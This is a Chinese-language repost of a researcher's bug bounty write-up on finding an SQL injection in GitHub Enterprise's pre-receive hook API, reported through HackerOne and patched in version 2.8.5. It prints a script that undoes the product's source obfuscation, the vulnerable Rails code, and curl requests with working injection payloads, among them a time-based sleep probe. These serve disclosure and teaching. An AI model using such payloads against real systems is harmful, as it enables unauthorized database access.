频道栏目
首页 > 资讯 > 企业安全 > 正文

看我如何发现Github企业版程序SQL注入漏洞并获得5000美刀赏金

17-01-12        来源:[db:作者]  
收藏   我要投稿

看我如何发现Github企业版程序SQL注入漏洞并获得5000美刀赏金。GitHub企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github企业版采用标准OVF格式集成,以虚拟机(VM)镜像方式发布,可以在enterprise.github.com网站注册下载45天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的SQL注入漏洞,并获得了5000美元漏洞赏金。

Github企业版VM环境安装之后的效果如下:

现在,Github搭建完成,接下来就可以在虚拟机系统内进行深入分析。

环境安全性分析

用Nmap发现有6个开启端口:

$ nmap -sT -vv -p 1-65535 192.168.187.145

...

PORT STATE SERVICE

22/tcp open ssh

25/tcp closed smtp

80/tcp open http

122/tcp open smakynet

443/tcp open https

8080/tcp closed http-proxy

8443/tcp open https-alt

9418/tcp open git

这些端口用途初步分析为:

端口22/tcp和9418/tcp可能用于进程haproxy转发后端服务babeld;

端口80/tcp和443/tcp用于Github主要服务;

端口122/tcp用于SSH服务;

端口8443/tcp用于GitHub的管理控制台服务。

由于GitHub的管理控制台需要密码才能实现登录,所以你可以设置密码并通过122端口的SSH服务连接VM环境,SSH连接进入系统之后,检查系统信息发现,几乎所有的Github服务代码都位于目录/data/下:

# ls -al /data/

total 92

drwxr-xr-x 23 root root 4096 Nov 29 12:54 .

drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..

drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic

drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld

drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload

drwxr-xr-x 2 root root 4096 Nov 29 12:54 db

drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise

drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage

drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd

drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks

drwxr-xr-x 4 git git 4096 Nov 29 12:53 github

drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import

drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon

drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify

drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot

drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat

drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll

drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies

drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages

drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua

drwxr-xr-x 4 git git 4096 Nov 29 12:54 render

lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories

drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord

drwxr-xr-x 20 root root 4096 Dec 28 19:22 user

查看其中的文件源码,貌似是base64加密的:

GitHub使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替换rb_f_eval即可实现解密。但我们还是实际动手来看看,打开IDA Pro分析一下:

你可以发现,其源程序使用了类Zlib::Inflate::inflate进行数据解压缩,并使用了一段明文KEY作为异或(XOR)操作,然而,让人搞笑的是,这段明文KEY竟然是这样的:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止GitHub企业版用户随意对VM环境进行修改)

哎呀,让人哭笑不得….

有了这些,我们就可以自己构造解密脚本了:

require 'zlib'

key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)

i, plaintext = 0, ''

Zlib::Inflate.inflate(s).each_byte do |c|

plaintext length].ord).chr

i += 1

end

plaintext

end

content = File.open(ARGV[0], "r").read

content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "

plaintext = eval content

puts plaintext

代码分析

实现程序源代码解密之后,让我们尝试着进行代码审计:

$ cloc /data/

81267 text files.

47503 unique files.

24550 files ignored.

http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)

-----------------------------------------------------------------------------------

Language files blank comment code

-----------------------------------------------------------------------------------

Ruby 25854 359545 437125 1838503

Javascript 4351 109994 105296 881416

YAML 600 1349 3214 289039

Python 1108 44862 64025 180400

XML 121 6492 3223 125556

C 444 30903 23966 123938

Bourne Shell 852 14490 16417 87477

HTML 636 24760 2001 82526

C++ 184 8370 8890 79139

C/C++ Header 428 11679 22773 72226

Java 198 6665 14303 45187

CSS 458 4641 3092 44813

Bourne Again Shell 142 6196 9006 35106

m4 21 3259 369 29433

...

$ ./bin/rake about

About your application's environment

Ruby version 2.1.7 (x86_64-linux)

RubyGems version 2.2.5

{C}Rack version 1.6.4

Rails version 3.2.22.4

JavaScript Runtime Node.js (V8)

Active Record version 3.2.22.4

Action Pack version 3.2.22.4

Action Mailer version 3.2.22.4

Active Support version 3.2.22.4

Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport

Application root /data/github/9fcdcc8

Environment production

Database adapter githubmysql2

Database schema version 20161003225024

从以上分析可以看出大部分为Ruby代码,而且可以发现:

[page]

程序通过端口80和443远程连接github.com、gist.github.com和api.github.com在目录/data/github/下更新代码库;

目录/data/render/可能为render.githubusercontent.com代码库;

程序通过8443端口运行目录/data/enterprise-manage/下服务。

漏洞分析

虽然我对Ruby不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:

第一天 设置Github虚拟机环境

第二天 设置Github虚拟机环境

第三天 学习Rails进行代码审计

第四天 学习Rails进行代码审计

第五天 学习Rails进行代码审计

第六天 哦也,找到了一个SQL注入漏洞

这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb文件的第45行:

33 scope :sorted_by, -> (order, direction = nil) {

34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"

35 select(

36 #{table_name}.*,

37 CASE hookable_type

38 WHEN 'global' THEN 0

39 WHEN 'User' THEN 1

40 WHEN 'Repository' THEN 2

41 END AS priority

42 SQL

43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")

44 .readonly(false)

45 .order([order, direction].join(" "))

46 }

虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作,但一些ActiveRecord的误用实例同样会引起SQL注入。具体可参考学习Rails-sqli.org。在该漏洞情况中,我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现,服务sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb文件的第61行调用:

10 get "/organizations/:organization_id/pre-receive-hooks" do

11 control_access :list_org_pre_receive_hooks,

rg => org = find_org!

12 @documentation_url "#list-pre-receive-hooks"

13 targets = PreReceiveHookTarget.visible_for_hookable(org)

14 targets = sort(targets).paginate(pagination)

15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets

16 deliver :pre_receive_org_target_hash, targets

17 end

...

60 def sort(scope)

61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")

{C}62 end

可以清楚地看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试着向params[:sort]注入恶意代码。

在触发该漏洞之前,接入API需要admin:pre_receive_hook函数具备一个有效的access_token值,高兴的是,我们可以通过以下命令来获取:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \

-d '{"scopes":"admin:pre_receive_hook","note":"x"}'

{

"id": 4,

"url": "https://192.168.187.145/api/v3/authorizations/4",

"app": {

"name": "x",

"url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",

"client_id": "00000000000000000000"

},

"token": "????????",

"hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",

"token_last_eight": "1fadac36",

"note": "x",

"note_url": null,

"created_at": "2017-01-05T22:17:32Z",

"updated_at": "2017-01-05T22:17:32Z",

"scopes": [

"admin:pre_receive_hook"

],

"fingerprint": null

}

一旦获取到有效的access_token值之后,漏洞就会被触发:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'

[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'

{

"message": "Server Error",

"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"

}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())

{

...

}

漏洞报送进程

2016/12/26 05:48 通过HackerOne把该漏洞报送给GitHub

2016/12/26 08:39 GitHub给出反馈,表示已通过验证并正在修复;

2016/12/26 15:48 提供给GitHub更多漏洞细节;

2016/12/28 02:44 GitHub反馈表示,漏洞补丁将随GitHub企业版后续更新释出;

2017/01/04 06:41 GitHub回复将给我5000美刀赏金;

2017/01/05 02:37 资询GitHub,是否介意我将此漏洞公开在个人博客;

2017/01/05 03:06 GitHub很爽快地表示,没问题!

2017/01/05 07:06 GitHub Enterprise 2.8.5发布!

如果你对该漏洞感兴趣,可以自己部署Github企业版系统环境进行深入分析。

相关TAG标签
上一篇:mvn test中文乱码
下一篇:从MS16-098看Windows 8.1内核漏洞利用
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站